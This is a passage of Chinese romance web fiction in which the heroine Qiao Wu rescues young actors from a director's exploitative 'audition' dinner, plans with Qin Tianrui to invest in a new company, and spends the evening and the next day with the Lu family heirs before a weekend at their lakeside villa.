他紧紧攥住了手,僵硬地站在那里,忍不住低头望向身边的人。 然后发现这个女人也在跟着笑,还饶有兴致地问:“如果我喜欢呢?” 别说其他人了,秦天睿和廖廖都惊愕地望着她。 不是姐,您要不看看自己什么条件?! 黄隆也愣了一下,没想到她这么直白,哈哈笑了两声,对黎向阳说:“听到没有,还愣着?年轻人要懂得把握机会,把乔小姐伺候高兴点。” 见黎向阳还是一动不动,他直接推了人一把,分酒器里的酒洒出来,滴到乔梧的衣服上。 她缓缓收敛了笑意。 “乔小姐,他不懂事儿,你别跟他一般见识。”黄隆立刻暧昧地说,“一会儿我再多给你叫两个知趣的。” “不用了。”乔梧抽了张纸巾,将袖子上的酒擦掉,然后看向已经彻底白了脸的黎向阳,温声说,“别怕,坐吧。” 黎向阳显然不知道自己该不该坐,或者他现在该直接走,可是公司让他来的。 他只是站在原地一动不动。 乔梧也没强迫他,而是抬手将他手里的分酒器拿了过来,而后站起身众目睽睽之下走到廖廖身边,将分酒器放到呆滞害怕的她手里。 然后拉着她另一只手,来到秦天睿面前。 “来,我们给小秦总敬一杯酒。” 秦天睿只感觉自己的脸好像瞬间又肿了,这场面他还有什么不清楚的!他现在还能不知道乔梧的朋友是谁?!还能不知道刚才乔梧跟那个男的说话是说给谁听吗! 见乔梧真的要抬起酒杯,秦天睿觉得自己今天一定会折寿。 他猛地站起来将分酒器夺走狠狠摔在桌上,脸红脖子粗。 所有人被他突然地发作吓了一跳。 “小秦总?”黄隆慌张地问,“您是不喜欢吗?” 秦天睿怒吼:“老子喜欢你大爷!” 在大家呆若木鸡又堂皇的神色里。 秦天睿抖着手望着神色已经变淡的乔梧。 “我真不知道他们这群比搞这种名堂!”他又气又急,“我真的是来干正事儿的!” 第54章 第五十四章二更 真是成事不足败事有余的东西。 这一顿还不知道又要被搭进去多少钱,你们是没被人用绳子绑着扔地上被车撞过吗! 浓烈的酒精味儿在整个桌面散开,原本想要投其所好的几个导演顿时被吓得仓皇。 只有乔梧望着满桌的狼藉,不轻不重笑了声,又拉着廖廖坐下了。 其余几人没理清思路,但已经下意识开始走过来道歉:“小秦总,您别生气!” “滚开。”秦天睿挥开他们,扭头去看乔梧的反应。 但对方显然什么话都不想说的意思,更没像之前那样要动手打他。 可往往这样就越让人心慌。 他不由得想起进来之前乔梧说过,让她评价,得加钱。 以往遇到这种情况,只要不开心秦天睿随时直接摔门走人,但今天乔梧显然还没有要走的意思。 他不想又被乔梧瞧不起。 黄隆几人也是还懵着,怎么好端端的,人家给他敬个酒就发脾气了呢,他以前不都是这一卦的? 还是之前开门那人脑袋终于清醒了一点,想起秦天睿冲着这位乔小姐吼出来的那句话。 他是来干正事儿的。 这不是荒唐嘛!什么时候秦天睿也会干正事儿了。 而且怎么看起来,这个乔小姐才是说了算的那个? 那人轻轻扯了扯黄隆,示意他看乔梧的反应。 黄隆越过暴怒的秦天睿看过去,那位乔小姐悠哉坐着,拿出手机不知道在看什么,时不时低头跟身边的那个小新人说句话,好像根本不知道包厢的气氛有多凝重似的。 等会儿,她跟那个小新人认识?! 坏菜了。 “可能是个误会。”黄隆忙道,“我就是想让大家先吃个饭再慢慢谈。” 秦天睿横着他:“你把老子当驴打整?” “不不不!” “你老实说。”秦天睿将椅子往后一拉,也不打算坐了,直接问,“你究竟怎么想的,试镜怎么回事?” 黄隆冷汗都要下来了。 他们这些人在外说是导演,有点小财,但跟这些真正的豪门根本没法比。 只要这些人一声令下,哪怕是拍好了的片子,天好的剧本都能重新换人 ,甚至把导演换了。 一部电影那么大班子,还有演员的片酬加起来多大的投入,全靠自己根本撑不起来,所以他们时常都会干一些这种事儿。 遇到些乖的,老板心知肚明的,大家都好。 要是不乖的,无非也就是教训一顿,那些新人也不敢跟他们叫板。 但还真是第一次遇到老板不乖的,因为秦天睿在圈里混不吝那也很出名啊! 现在马屁拍到马腿上,还被踹了一脚。 黄隆摸索着他的意思,瞬间福至心灵,立刻道:“试!我们现在就试!那什么,你们几个都看了试戏剧本了吗?是哪一段,谁要先来?” 看是都看了,但经过这么一遭,就算是真的进组了,还有谁敢在他的组里拍戏。 哪怕是天大的机会,以后遇到什么事还不知道呢。 所以压根没谁敢吭声。 “还跟我玩这套。”秦天睿呸了一声,指着他,“跟人道歉。” 黄隆条件发射就看向乔梧:“乔小姐,实在抱歉让您扫兴了。” 这都给乔梧听笑了,轻描淡写道:“关我什么事。” 秦天睿终于听到乔梧说话,想着他这次做对了。 所以踢了一脚椅子:“是乔梧的事儿吗?你老眼昏花连跟谁道歉都不知道?!” 实际上到现在黄隆都没搞清楚这三个小新人都叫什么名字,只能咬着牙:“对不起。” 秦天睿现学现卖:“跟谁对不起,他们没名字?” 于是黄隆又苦兮兮地去问这几人的名字,挨个问挨个道歉。 秦天睿又扫了眼其他人:“你们呢?” 其余的人头皮一紧,一个接一个排排队。 没听到那几个演员说话,秦天睿也懒得等了,他打量着黄隆:“你这种玩意儿能拍出什么好东西来。” 黄隆大气都不敢喘。 “行了,我会给认识的人打招呼。”秦天睿说,“让大家好好关照关照你的。” 闻言黄隆急了:“小秦总,这可不行,我错了我真错了!” 这一刻秦天睿终于明白那天在零环线的时候,乔梧为什么跟他说不稀罕他的道歉了。 因为听起来真的一点劲儿都没有,还吵耳朵。 “谁稀罕,别让我再看到你们。”威胁完后秦天睿转过身,想要踢一下乔梧的椅子,又怕把这尊佛给踢急了,“这样可以了吧?” 乔梧还是那句话,语气无辜:“关我什么事。” 秦天睿憋了又憋,又发不出火来,只好沉声道:“走了。” 这下乔梧才站起来,但她没有立刻走,而是望向其他两个瑟瑟发抖的演员:“你们还要留在这儿?” 如果是周瑜打黄盖,那她接下来是不会插手的。 别人有自己想要出头的方法,那是人家的选择。 但显然另外两个人是被吓到了,这会儿一听可以走,拿着包就迫不及待地先去开门。 黄隆眼睁睁看着这几人走了,整个包厢气氛瞬间冷了到了极点。 他问:“听见小秦总喊那人什么了吗?” “乔梧?” 大好的前程就被这个女人几句话几个表情轻描淡写地毁了,黄隆怎么能甘心,他问:“姓乔的是哪家?赶紧看看。” 一般有头有脸的人,搜一搜就能搜出来。 恰好前段时间乔梧在网上还火了一阵,所以其他人很快就搜出来了乔梧的名字。 “黄导,是陆氏的人。” 陆氏?! 不仅是陆氏,还是陆氏基金会的理事长,是陆氏总裁的朋友,连陆家那个混圈的陆宣都跟她从小一起长大关系匪浅。 难怪秦天睿那么怕她,在她面前那么谨小慎微。 黄隆跌坐在椅子上,双手抱着头。 完了,这下真完了。 而乔梧她们从包间里出来后酒精味道散了不少,觉得呼吸都顺畅了,她转头问廖廖:“还吃饭吗,我们包间在前面。” 廖廖好不容易得来的机会,当然要。 她立刻点头:“吃!” 然后转头跟秦天睿说:“这次谢谢小秦总,有机会请您吃饭。” “你们还没吃饭?”秦天睿有点烦躁。 原本想证明自己,没想到又丢了一次人。 他压着脾气说:“我请你们。” 这次是乔梧请客,所以廖廖没有什么发言权,只安静地站着。 乔梧想了想:“可以。” 既然两边都要请,那就一起吧。 她以后跟寥寥有的是机会。 “那…”另外两个演员局促地站着,红着脸说,“谢谢你们,我们就先走了。” 他们也知道刚才乔梧故意说那些话,都是给他们解围的。 “一起。”秦天睿顿了顿,问乔梧,“可以吗?” 乔梧莞尔:“你做东,你做主。” 于是原本两个人的饭变成了五个人。 黎向阳和另外一个演员眼观鼻鼻观心,为什么说是小秦总请客,但是他却让乔小姐坐在主位? 饭桌上很安静,毕竟秦天睿的脸色很不好看。 他将服务员上来的茶倒了一杯一饮而尽,啪嗒一下放在桌上,对乔梧道:“我再次重申,我真以为这是试镜才来的!” “我知道了。”乔梧哭笑不得,“我又没说你什么。” “但你也什么都没说啊!” 这还不能说明问题?! “我只是你带去的一个朋友,没什么立场开口。”乔梧缓声跟他解释,“更何况你是他们主要讨好的对象,你说话当然比我好使,要是你真的喜欢这一套,我越过你把你场子砸了你不得又开车别我一次?” “你这人怎么翻旧账呢?”秦天睿黑着脸,“再说了谁喜欢这种了?!” 他哥在这方面真的管得很严,但凡他要是在外面乱搞,多出个什么小生命来。 他怀疑家里的皮带都不够使。 所以他平时就是找找其他人的麻烦。 “在他们看来你喜欢。”乔梧慢条斯理喝着茶,“你看看谁敢把这种事情舞到你哥面前去?” “他们凭啥就以为我喜欢?!” 乔梧没回答,只是挑眉看着他。 “???” 秦天睿被这种意味深长的目光看得起了一身的鸡皮疙瘩,恼羞成怒:“再污蔑我,我真的会告你!” 合着他在其他人心里是这么个形象?! 赶明儿他一定要把秦氏的律师团都请过来,一个个挨着告! “你等着,我下次干正事儿的时候一定先给你打电话。” 乔梧:“……” 她有点搞不懂这个少爷的脑回路,为什么一定要给她看?她又不是一把尺。 “秦少爷。”她无奈道,“我也有自己的工作,你这次加钱也不行。” “说到这个。”秦天睿听他哥说过,曾经想要把乔梧翘到家里做管家,但后来不了了之了。 别的不说,能管得住从亦,她也有本事。 “你家管家工作范围挺大。”他疑惑,“多少钱能请?” “出了这道门这话就别再提了。” “为什么?” 乔梧:“因为你哥因为这句话还没从陆尽之黑名单里出来。” “……” 秦敛这么没逼格? 这个危险的话题还是不要聊比较好,乔梧转移他的视线:“但你今天站得挺直。” “什么意思?” “意思是,以后你继续下去就不会有人给你安排这种饭局了。” 秦天睿听出她话里的含义,背瞬间就 挺得笔直。 看到了吧,我就说我是来做正事儿的! 他看了眼其他几个不敢说话的人,清清嗓子,终于拿出了东道主的作风,重新倒了杯茶:“今天这事儿也算是因我而起,你们一会儿把资料给我,如果我遇到有合适你们的角色,会推荐你们去试镜的,不用喝酒那种。” “是我们得谢谢您。”其余几个人忙端起茶,“谢谢您和乔小姐,不然今天还真不知道要怎么收场。” 他们人微言轻,对方到底是个有知名度的导演,换做是有心的人来,还不知道要纠缠到什么时候去。 说到这个,乔梧有些好奇:“你们平时试戏都是什么流程什么渠道?” “自己看到通告去现场试镜,或者有些导演看到资料觉得合适也会联系,但我们还是新人,没什么曝光,所以大多都是第一种。”廖廖回答,“还有就是今天这样…公司会安排来应酬。” 乔梧皱眉:“公司安排?” 她没听说JS有这种流程。 每个公司都会有应酬,但不会用试镜骗演员过去陪吃饭,其他时候也应该是有经纪人或是助理陪同。 “你们经纪人呢?” 黎向阳说:“我们经纪人带很多艺人,一般不会特意管谁。” “还有这种说法?这根拉皮条有什么区别。”秦天睿听得啧啧咂嘴,“你们哪个公司的?” “天方。” 这个公司乔梧没听过。 倒是经常在娱乐圈混迹的秦天睿有点印象:“想起来了,规模不大手段挺多,挺喜欢营销的,就喜欢签一些没什么背景的在校大学生,好安排。” 他歪歪脑袋,“这么一说还真是拉皮条的,这不迟早进去啊?” 几个演员纷纷低下头。 乔梧回头问:“上次带你去慈善酒会的那个胖子,也是你们公司的?” “嗯……” 说起来也是因为那个人得罪了陆宣,公司听说以后就把他给辞了。 这会儿廖廖才明白,为什么公司会在新人中挑了她去演员训练营的机会,应该是那次她加了乔梧的联系方式,被公司的人知道了,以为她跟陆宣认识。 所以她走到现在,还是因为乔梧。 廖廖原本的勇气在这一瞬间就消失得一干二净。 秦天睿还在试图朝乔梧展现自己的智慧,小嘴叭叭:“你们都还没毕业,继续待在这种公司不是废了?” 不用他说,今天过来的几人当然知道废了。 可签了合同能怎么办。 秦天睿:“解了吧。” 几人没吭声。 乔梧瞥了眼秦天睿:“说话过过脑子。” 先不说解约流程一向都是复杂的,而且这几个都是在校大学生,哪里有那么多钱付违约金。 她想起来原剧情里,廖廖的确进了家黑心公司,后来还被推到钟闵的饭局上跟钟闵认识,后来的钟闵为她打官司解约还收购了那家公司,两人还因为这些事产生纠葛纠缠不清。 可先不说钟闵还没跟寥寥认识,就算认识了,现在的钟闵满脑子都是村里那个幼儿园和活动室,也没那个实力去收购一家公司。 奇怪,怎么男主的事儿全被她遇上了? 黎向阳也轻声说:“有违约金。” “我说多大点事,这次算我的。”秦天睿财大气粗,“我请我们家律师团给你们打官司,保证不会赔太多,我给你们都垫上。” 这语气就跟请他们吃饭一样简单。 乔梧思考了好一会儿,忽然笑了声:“格局大一点。” “什么?” “既然是家迟早就进去公司,那就送他们进去好了。”乔梧说这话时表情都没变过,也跟吃饭一样简单,“便宜捡个子公司坐实你小秦总的位置,不是更好?” 直接收购肯定要不少钱,但人犯了事儿就另当别论了。 秦天睿明显没想到这一层,目瞪口呆好半天,然后感慨:“你果然跟陆尽之是一家。” 做生意的人哪有不狠的。 “听起来还行。”秦天睿真的很心动,而且迫不及待想要证明自己可以,“我回去跟我哥商量一下。” 乔梧嗯了声。 没想到秦天睿又问:“你要入股吗?” “嗯?” “你提的建议,我可以给你一个入股的机会。”秦天睿说,“这公司跟我哥和我家都没关系,就咱俩一起,你入多少都行。” 钱不是重点。 重点是他要让乔梧亲眼看到自己的崛起! 他,秦天睿,不仅要站起来了!他还会是未来娱乐行业冉冉升起的新星! 乔梧:“……” 秦天睿眼里的跃跃欲试和表现欲实在是太明显,她想忽视都不行,都怪她被陆尽之传染要去看人的眼睛。 但话又说回来了。 她学过很多东西,偏偏这一行了解得很少,今天也才知道原来背后还有些暗地里的操作,如果以后陆宣合同到期从JS出来自己开工作室也没个人指导。 她可以替哭包踩踩路。 她没有立刻点头,只是说:“我考虑考虑。” 一听有戏,秦天睿就来劲了:“你慢慢考虑,我先跟我哥商量怎么把他们搞死再说。” 吃完饭秦天睿兴冲冲就走了,其他人也纷纷离开。 廖廖是乔梧带来的,也要负责送她去机场,只不过可以先去接一趟陆宣。 上车以后隔绝外面的声音,乔梧一边发动车子一边问:“被吓着了?” 她觉得寥寥有点格外沉默。 其实今天寥寥根本没受到什么伤害,但她就是觉得自己很没用。 “乔姐姐。”她低下头,“你上次跟我说,不要把幸存者偏差用在自己身上,我好像又搞砸了。” 还是要让别人来出头解救。 乔梧温声道:“这又不是你的错。” “不止这个。”廖廖摇头,“我以为自己走得出来,资源也好出路也好,但最后还是因为沾了你的光。” 这种逻辑乔梧从来都不认可,但寥寥会这么想也情有可原。 所以她平和地说:“如果你去面试一个工作,公司录用了你,你会觉得自己沾了公司的光吗?” “不会。” “那为什么会觉得沾了我的光?”乔梧笑道,“实话说一开始游艇上我并没有注意你,第二次同样,如果不是你再次主动来找我要联系方式的话。” “你选择我和我选择你是双向的。”趁着出地库,她侧头看了寥寥一眼,给了她一个含笑的眼神,又看向路接着道,“我喜欢你的勇气你的坚韧才会跟你做朋友。” 廖廖心跳得很快。 从小到大她会跟很多人有交流,或真心或假意的也说过朋友的话。 但第一次跟人这么坦然直白地聊起这个词。 她有勇气,也坚韧吗? “既然选择了我就会为自己的选择买单,今天如果没有其他解决办法,哪怕是给你付违约金我也会让你从那个公司出来。”乔梧声音缓慢沉静,“你觉得我会帮另外两人付违约金吗?” 廖廖摇头。 “所以你完全可以把我当做你的资源,踩着我往上爬,我心甘情愿。” 乔梧腾出一只手指了指她腿上的包:“难道你这第一名也是我给你的?” 廖廖抓紧了包。 这是她靠着自己努力得来的,老师的认可。 “我们可能生长环境不一样经历不同,所以能做的事情也不一样,但至少我们现在坐在同一辆车里在同一个空间呼吸,这是我们自己选择得来的。” 乔梧轻轻笑道:“你很好。” 廖廖盯着包看了很久,忽然一震捣鼓,把自己第一名的奖牌拿了出来。 “乔姐姐,这个送你。” 乔梧抽空看了一眼,失笑:“送奖牌是什么传统吗?这对你很有意义,不要随便送人。” 她包里已经有一个了。 “不是。”廖廖很坚定,“它是很有意义,但你对我也很有意义,这块是起点,以后不管你是我老板也好朋友也好,我都希望你能看 到我爬上去拿到更多的奖,我希望以后还能跟你吹同一片风。” 遇到红灯乔梧停下车,她看着那枚奖牌粲然一笑,伸手接过来。 “好。” 感受着奖牌的温度,她心想,看来的确要入股秦天睿的新公司了。 很快,乔梧就把车开到了陆宣聚餐的地方。 陆宣喝了一点点酒,脸有点红,看到她来就径直走来拉副驾驶的门。 结果门一打开,副驾驶已经坐了个人。 陆宣皱眉:“这只鸟还没走?!” 乔梧:“后面去。” “我不。”陆宣敲敲车窗,冷冷盯着寥寥,“下来,我要坐副驾。” 廖廖抱着包:“我也不。” “你……”陆宣目光一转,看到乔梧面前多了一块奖牌,跟他的那枚还不一样,他眯起眼,“那奖牌谁的?” “我的。”廖廖说,“我送给姐姐的。” “谁是你姐姐,她是独生女!”陆宣炸了,“这是我的副驾!” 眼看两人僵持,乔梧轻啧:“这是租的车,没有副驾,要么上后面去,要么自己打车去机场。” 陆宣震惊地望着她,不敢置信她能说出这种冷冰冰的话来。 一顿饭的时间,他不仅不是她的偏向了,她还拿了别人的奖牌。 他紧紧抓住车门,一动不动。 后面有车开出来,乔梧只好喊了声:“陆宣。” 陆宣抬眸看了她一眼,终于还是把手松开。 如果不上车,乔梧一定会把他放在这里自己打车的! 这个女人真的做得出来! 他砰地一声关上车门,酒意在这瞬间涌上来,眼睛也红了,缩在后座的角落不吭声。 乔梧看见了提醒:“缩在那里,小心头。” 陆宣闷声自言自语:“我不该在这里,我应该去车底。” 乔梧:“……” 第55章 第五十五章静水别墅 回到陆宅时已经很晚了,大家都已经睡下,陆宣全程跟在身后一句话也不说,但步伐还挺稳,没醉得太透。 乔梧没有立刻回去休息,而是先去了一趟主宅,从冰箱里拿出柠檬,又找出蜂蜜来。 一扭头陆宣跟鬼似的靠在冰箱门后,目光幽怨地看着她,以及她身上的奖牌。 乔梧好笑道:“你几岁了?” “比你大一岁。”陆宣指指自己,“你得叫我哥哥。” 说到这个他更加不满意,缀在乔梧身后,单手撑着岛台好奇地问:“乔梧,你为什么从来不叫我哥哥?” 乔梧没抬头,继续着手里的动作:“你哪里有做哥哥的样子?” 陆宣仿佛陷入了回忆里,想了许久才说:“我什么都给你了。” 做哥哥不就得是这样吗? 甚至保险柜密码也只有她一个人知道。 “我也什么都给你了。”乔梧揶揄,“你怎么不叫我姐姐?” “那不一样。” “哪里不一样。” “我比你大。” “年龄并不能说明问题。”乔梧把做好的蜂蜜水递给他,“比如现在是我在照顾你,是你在耍小性子。” 微甜的味道瞬间侵入鼻腔,陆宣的脑子在这一刻变得清明了些。 他其实喝得不多,因为乔梧说过没有身边人在不能喝太多酒,会任人摆布。 但看到乔梧出现,他就是忍不住让自己变得更醉一点。 她也可以摆布他啊。 他又不介意。 把那杯蜂蜜水拿起来喝了一口,他望着乔梧收拾的动作,若有所思,随即腾出一只手按住了她的手腕:“那我来照顾你。” 乔梧:“?” 陆宣飞速把蜂蜜水喝完,然后夺过乔梧手里的抹布闷头就干。 又是整理蜂蜜,又是把柠檬扫进垃圾桶里,简单的几个动作愣是被他搞得像在做什么大事一样。 乔梧:“这个不是擦台面的。” 陆宣拿着帕子茫然地看着她:“?” “我没有要让你照顾我的意思。”乔梧示意他松开手,“你不用做这些。” 可陆宣却没松开。 他盯着乔梧:“你是不是把我当小孩了?” 乔梧想问,难道你不是? “我是不会。”陆宣不太高兴,“但我可以学,你能不能扭转一下你的想法,别总是把我当小孩哄。” 虽然他是有很多地方都不如乔梧,但他……也是有可取之处的吧。 “你不在的这一个月我坚持下来了,也做到了。”他说,“所以你能不能换个视角来看我?我也没有四肢不勤五谷不分。” 这话有点严重。 但乔梧还真没有太小瞧他,她只是在他不足的方面给了他一定的引导而已。 哪里想到他反应这么大。 “行。”乔梧往后退了一步,“你想做就做吧。” 陆宣声音小了点儿:“我不是这个意思。” “如果我要做一件事,那重点应该是在做上,而不是说。”乔梧说,“你在这儿给我立军令状有什么用,刚才不还是跟人抢副驾生了一路的气吗?” 这一点陆宣并不赞同,他纠正:“副驾只有很重要的人才可以坐。” “你少看点霸总剧本,给你们发的文件还没看?” 乔梧给自己倒了杯纯净水,“生活是生活,要是把那些完美主义用在生活里,日子还过不过了?” 人家坐在副驾驶,你非得把人叫下来,这是什么道理,又不是很敏感的身份。 “那我问你,如果副驾坐的不是寥寥,而是陆柠或者是你二哥,你还会让他们起来吗?” 在她看来,这些人在自己心里的地位都是一样的,不分先后。 所以副驾的归属问题真的很幼稚。 但问者无心听者有心,陆宣的动作显然慢了下来,用迟钝的思维认真思考了一下。 他还是想坐在副驾。 他刚要说话,又听乔梧说:“任何一段亲密的关系都不会体现在形式主义上。” 陆宣语气有一瞬的飘忽,视线都飘了:“亲密关系?” 他跟乔梧是什么亲密关系? 很要好的朋友,青梅竹马,特殊的偏向。 的确很亲密。 但乔梧觉得点到为止,不想再争论这个,她喝完水把杯子推到他面前,毫不客气:“顺便洗了。” 陆宣握住杯子,也没觉得洗个杯子有什么不对。 他下定决心:“你等着,我做给你看。” 又问:“那到时候你会叫我哥哥吗?” 这有什么好执着的。 乔梧抬眼:“哥哥。” “……” “???” “!!!” 我靠? 陆宣脑袋当场就炸掉了。 手里的杯子哐当一声掉在台面,又滚到了地上,哗啦一声响,直接摔碎。 乔梧吓了一跳,都来不及接住。 她头疼抵住陆宣:“别动。” 又喊来一个佣人帮忙拿东西来处理一下地上的玻璃碎片。 等她跟佣人一起整理完后,陆宣还是捏着抹布站在那里,也很听话的一动不动。 “陆宣?” 行,不是哥哥了。 陆宣的眼神变了又变,但最终还是没跟她说什么,转身就走。 过了会儿又回过头来,俯身认真地看着她。 “你等着。”他说。 乔梧一头雾水。 等什么? 可陆宣已经扭头走了,走的时候像是飘着的,按电梯都按了两次才把按钮按亮。 23年了。 乔梧第一次喊他哥哥。 原来是这种感觉。 陆宣低头看了一眼自己的胸口,不确定是不是因为喝多了,满满胀胀还有点发麻。 早知道就不那么久纠结什么顺位什么朋友。 陆柠和陆应池能做哥哥吗?不能。 陆尽之… 陆宣皱了下眉,那只猴不让人照顾就不错了,根本不可能照顾人。 也不能。 那就只有自己了,独一无二的。 他没骨头似的将脑袋抵在电梯厢上,让上面的冰凉降低自己脸上的温度,但最终还是没忍住垂着头笑出了声。 而楼下的乔梧还没摸得着头脑,眼看时间也差不多了,她打算也回去休息。 只是才扭头就看到门口的方向立着个高大的身影。 她脚步一顿。 其实陆宣有句话也没说错,陆尽之每次都神不知鬼不觉地站在某个位置,静悄悄地关注着一切。 来多久了? “你还没睡?” 她上飞机前还给他发了个消息说今天会晚点到。 “看完书回来。”陆尽之并没有走过来,而是问,“要回去了?” “嗯。” 陆尽之点点头:“开个会。” 乔梧下意识问:“去你房间?” 旁 边还在收拾的佣人们听到这话,完全掩饰不住脸上的惊愕。 他们打扫卫生都只是在二少爷规定的某个时间里进去,不能多待不能多碰,不能发出太大的声音,一个比一个难伺候。 “太晚了。”陆尽之侧过身,看起来是要往外走,“路上说。” 平常乔梧都是坐着宅子里的代步车回去,但今天明显陆尽之没有要坐车的意思,所以她也走在他身边。 “是工作上的事吗?” “家里的。” “嗯?” 今天家里佣人没汇报说出了什么事。 “那几条……”陆尽之话音略滞,觉得指向不太明确又改了口,“陆宣他们年龄和心理成熟度不成正比,你不用对他们太过耐心。” 乔梧:“……” 虽然这话有一定的道理,但… “你当哥哥的说这话合适吗?” “为什么不合适?” 乔梧迟疑了一下,但想到陆尽之曾经说过有问题可以直接问,所以她也没太藏着。 “你过去没有关注过他们出格的行为吗?” “有。” 陆尽之平静地说,“但相处应该平等,我给他们空间,但不可能给太多耐心。” 在他的天秤里,陆宣他们几人莫名其妙的排斥和孤立是他并不认可的,同样他也不会过多干涉。 只要每天定时发放狗粮,饿不死就行。 乔梧恍然:“这是独属于你们霸总的傲娇吗?” 显然陆尽之并不理解她又冒出来的莫名词汇。 说来好笑,他甚至觉得在乔梧眼里霸总是一个贬义词。 “霸总。”他挑了下眉,“霸道总裁。” 他了解过。 也着实不解:“我很霸道?” “跟秦敛比起来,你的确不是很霸道。” “我为什么要跟那个没礼貌的东西比?” “人家不是东西。” 陆尽之笑了下。 意识到自己说得有些歧义,乔梧又改口:“但你们有很多通病。” “比如?” 乔梧并不指望陆尽之能自己理解这些情感上的事,而且这种缺乏共情的毛病怎么不算一种霸总病呢? 她被这个念头逗笑:“抛开身份和头衔你们也只是普通人,或多或少有缺点,要互相理解吧。” 她思考了下,认真建议:“要不要每周日我们统一开一个家庭会议,让你们互相了解一下?” 陆尽之想象了一下那个画面,有点恶心。 他由衷道:“最好不要。” “也是,挺尴尬。”乔梧打消这个念头,“像你们就会惯性把自己放在很高的位置,所以忽略了最基础的沟通,导致互相有隔阂。” 这个陆尽之倒是想起来了。 “《狗血豪门排雷指南》第十条:矛盾的开端是不长嘴。” “你背下来了?” “不是很想。”陆尽之无奈,“但控制不住。” 印象过于深刻,而且他记忆力一向很好。 “你长了嘴。”乔梧先肯定他,“但你选择性长嘴。” 长在别人身上的嘴都很毒。 “虽然有的血缘关系不如没有。”她笑了笑,“但如果能有是最好的,至少你以后的路不会一个人走。” 陆尽之看了她一眼:“我没想一个人走。” 但也没想牵着狗走。 “陆尽之。”乔梧抬头看他,“你知道每次停靠在码头的那些大型货轮有多少个副手吗?” “至少三个。” “所以哪怕你是船长,你一个人也没有办法撑起一艘巨轮,巨轮就算是出港进港也需要引水员不是吗?陆氏是这样,陆家也是,并不会因为家太小就不会翻船,事实上陆家才是陆氏的发动机,这些道理你应该比我更明白。” 陆尽之当然明白。 他读过的书跟乔梧读过的书都一样。 但是他曾经一直觉得,自己就可以做陆家做陆氏的发动机。 在这方面,他不如乔梧。 没听到他回答,乔梧接而道:“所以如果你对他们的行为有不满,可以直接说,你是哥哥他们不会说什么的。” “你也是?” “我是你的下属。”乔梧失笑,“你对我有什么不满吗?” “别叫他哥哥。”陆尽之淡声说,“他不配。” 这句话在乔梧预料之外,她惊讶地说:“所以你要跟我开会的原因这个?” 陆尽之点头,又提出自己的看法:“我认为你对他们的底线放得太低了。” 作为成年人,该做什么不该做什么心中都应该有数。 “纵容只会成为变本加厉的筹码。” 这一点乔梧无法反驳。 她的确发现陆宣他们对自己过于依赖,所以她正在试着一点点放开手,引导他们自己往前走。 “你放心,我心里有数。” 陆尽之觉得乔梧很聪明,她应该懂自己要说什么,也很相信她。 “还有件事。”既然都已经说到这儿了,乔梧也不打算隐瞒自己的打算,所以把今天遇到的事大致提了一下,“我决定入股。” 陆尽之停下了脚步,像是没听清,漆黑的眸微微发沉:“什么?” “论前景和发展,如果能有一个属于我自己的领地,我会觉得有安全感。”乔梧说,“你不是说让我飞飞试试看吗?” 陆尽之轻笑:“所以你飞到了别人家的房檐?” 这个别人家一出,乔梧就知道陆尽之在意的是什么了:“跟秦敛没有任何关系,我跟秦天睿是很单纯的合作,不参与秦陆两家的合作和竞争。” “其实如果没有秦天睿,以后也会出现李天睿或者王天睿。”她说,“我总要筑一个自己的窝。” 陆尽之没有立刻回答。 他脑袋里的天秤已经歪得不能再歪了。 把乔梧放在一个单独的天秤上,她的所有选择都很平衡,没有任何异议。 但只要一放在他的天秤上,天秤就会往自己这边倾斜。 明明才被他平衡好的所有打算,在这一瞬间又全部化为了灰烬。 乔梧笑着说:“以后你见着我得叫乔总。” 看到她笑,天秤又再次歪向另一边。 她很喜欢。 其实理智的天秤早就给出了答案,只不过陆尽之发现自己好像开始在天秤上加上了其他的无形要素。 他敛着眸,只能给出理智的答案,于是伸出手:“乔总,多指教。” 乔梧跟他握握手:“多指教。” 两人已经走到了她家小楼前,乔梧松开手:“让人来接你吗?” “不用。”陆尽之将手插进兜里,“还有些事要想。” 果然总裁都不是这么容易做的,乔梧点点头:“那早点休息。” 她挥挥手转身走进院子。 看到她的背影消失陆尽之才收回自己的视线,轻轻皱了下眉,转身进入夜色里。 “小梧?”乔知义还在家里等着,听到声音后往门口看去,正好透过窗户看到陆尽之的背影,“那是二少爷?” “对。” “你们怎么会一起回来?” 小楼并不在主宅那边,这么晚了过来也没有任何可以做的事。 “有点事要说。”乔梧走到他身边,将他看的书都加好书签合上,“不是说了让您早点休息吗?” “没有那么多觉,现在就去睡了。”乔知义站起来,又往外面看了一眼,“你在二少爷身边工作,跟他相处怎么样?” 他在陆家这么多年,跟二少爷的距离都是不远不近的,也摸不透这位少爷的想法。 “他挺好的。”乔梧说,“很好沟通。” 乔知义愣住:“你说的是二少爷吗?” 很好沟通? “嗯。” 难道年轻人有年轻人自己的沟通方式? 乔知义想了想,觉得自己以前跟其他几个少爷关系也一般,所以没想太多,又道:“对了小梧,老先生让我跟你说一声,他打算趁着温度还没降下来去静水别墅住一段时间,那边秋天的风景好,我 们这周末就去,等到周日晚上你们再回来,以后就周末过去。” 陆宅到底是离城区比较近,宅子里很多建筑都是人工建造的。 但静水别墅那边近郊建在湖边,旁边就是个森林公园,风景一向很好,只不过大家一年也难得去一次,因为家里人一个个不着家,也忙着工作,来去不方便。 “好。”乔梧点头,“我明天跟那边的管家联系,把东西收拾出来。” 那边的管家只是负责别墅的日常维护,其他的事并没有权限管。 小时候大少爷还没过世时,她们几个小孩寒暑假都在那边住,别墅里有他们小时候的衣服,只不过现在长大了,东西都要重新准备。 第二天一早起来,乔梧就先跟那边的别墅管家通了电话,然后自己先过去检查了。 静水别墅没有陆宅那么大,只是一个独栋还要加上佣人房。 所以每个人都不像在主宅那样自己拥有一整层的房间,都是两两一层。 原本陆江住在最上面一层,但现在他还整天坐在轮椅上,也没人要拆穿他,所以乔梧给他把房间安排到了二楼。 当时她来这里时年纪小,身边两只小粘糕,谁都想跟她一个房间。 但碍于陆宣比她要大一岁,所以她当时是跟保姆一起跟比自己小四岁的陆应池一起睡的,现在还多了一个陆柠,所以都要重新分。 乔梧想了想,还是决定把选择权交给他们几个。 到了中午,陆家一家人也到了。 明明是一家人,非要一人一辆车,排了一整排。 而且乔梧还发现,最后还跟着一辆货车。 她瞪大眼睛看去,发现货车上拉的居然是公主。 陆应池还把公主一起带来了?! “你只在这里待两天。”见他牵着马走过来,“你是不打算回去上课了吗?” “到时候再牵回去。”陆应池倨傲地说。 “别折腾它……”乔梧话没说完,就看到陆柠哼哧拖着几个大箱子,背上也有,胸前也有。 都是她的娃娃。 她还舍不得让佣人拿。 